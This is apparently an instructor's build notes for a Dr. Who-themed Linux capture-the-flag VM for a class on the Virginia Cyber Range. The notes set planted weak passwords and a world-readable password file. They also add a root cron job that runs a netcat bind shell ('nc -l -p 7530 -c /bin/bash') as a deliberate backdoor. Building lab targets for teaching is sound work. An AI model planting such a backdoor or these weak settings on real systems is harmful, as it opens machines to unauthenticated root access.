# Building the Linux Dr. Who Adventure VM

Virginia Cyber Range, Ubuntu 20.04, Environment: Ubuntu 20.04 Desktop and Ubuntu 20.04 Terminal (2021.8)

Do everything as root, sudo -i

apt update  
apt upgrade

Disable software that is listening.

systemctl stop avahi-daemon  
systemctl disble avahi-daemon  
systemctl stop avahi-daemon.socket  
systemctl disble avahi-daemon.socket  
systemctl stop cups-browsed  
systemctl disable cups-browsed  
systemctl stop cups   
systemctl disable cups

create users  
adduser doctor  
 password Gallifrey  
adduser clara  
 password CoalHillSchool  
adduser dalek  
 password Exterminate!  
  
Create file with Clara’s password, readable by everyone  
mkdir /var/account   
echo “Clara’s password is CoalHillSchool” > /var/account/Danny  
ls -l /var shows rwxr-xr-x root, root. Anyone can see the contents  
ls -l /var/account/Danny shows rw-r--r-- root root, so it is owned by root but readable by everyone

Create tardis group, make doctor and clara members  
groupadd tardis  
gpasswd -a doctor tardis  
gpasswd -a clara tardis

Make the tardis directory, make doctor the owner and tardis the group  
mkdir /home/tardis  
chown doctor:tardis /home/tardis  
cd /home/tardis  
echo “To make the Tardis take off, rush about madly, flip levers, and hope for the best.” > TardisManual  
chown doctor:tardis TardisManual  
chmod 640 TardisManual  
ls -l should show -rw-r----- doctor tardis

Copy the file smtp to /var/log, then give the group tardis read, and nothing for other  
chown root:tardis /var/log/smtp  
chmod 640 /var/log/smtp

Give Doctor and dalek sudo rights by adding him to the sudo and adm groups.  
gpasswd -a doctor sudo  
gpasswd -a doctor adm  
gpasswd -a dalek sudo  
gpasswd -a dalek adm

cd /etc/init.d  
nano Davros  
Note: I also put a copy of this file in /etc/rc.d/init.d

insert this text   
#!/bin/bash

# chkconfig: 2345 55 25

# description: Dalek Credo

xterm -hold -e 'echo "Daleks are the superior race! Daleks reign supreme! Exterminate! Exterminate! Exterminate!"'

Make Darvros executable by all

chmod +x Davros

then create symlink in /etc/rc.d/rc2.d through rc5.d with   
ln -s ../init.d/Davros ./S99davros

Change the root password to Exterminate!  
passwd root  
(enter Exterminate! twice)

For Davros’ backdoor, we need to remove the Free-BSD netcat and install the traditional version with the -c switch to shovel shell  
~~add-apt-repository universe~~ oops, already there  
apt remove netcat  
apt install netcat-traditional  
update-alternatives --config nc select netcat trad

Create Davros’ back door. Use nano or some other editor to create the file listen in /root  
nano /root/listen

#!/bin/bash

if pgrep -x "nc" > /dev/null

then

echo "Already running"

else

nc -l -p 7530 -c /bin/bash

fi

chmod +x /root/listen

Now make a cron entry for the root user that will run the listen script every 5 min. As root,  
crontab -e  
Add a line like this:  
\*/5 \* \* \* \* /root/listen  


On the VACR image I’m using, the firewall is inactive.

Remove the user student from admin and sudo  
gpasswd -d student adm  
gpasswd -d student sudo

Remove /etc/sudoers.d/90-cloud-init-users to 90-cloud-init-users.save so student no longer has root sudo.

rm etc/sudoers.d/90-cloud-init-users

Comment out this line in /etc/cloud/cloud.cfg  
nano /etc/cloud/cloud.cfg

# commented out by John York to prevent student from having root sudo  
 # sudo: ["ALL=(ALL) NOPASSWD:ALL"]

Reboot

If you used the student account, remember to erase its bash history so students don’t get free hints.

Description for VACR environment

This is a ctf/scavenger hunt for my BRCC class. As part of the hunt you will attain root but at the beginning the account, student, has no extended privileges. Contact [yorkj@svgs.k12.va.us](mailto:yorkj@svgs.k12.va.us) if you have questions.

This environment contains two minimal installs of Ubuntu Linux with no network level controls blocking communication between them. The desktop machine (desktop.example.com) has an XFCE GUI, and is where you will do your work. The terminal machine (terminal.example.com) has only SSH access. It is used at the end to test the evil backdoor that Davros installed. These environments are configured to automatically log in users. The default username/password is student/student.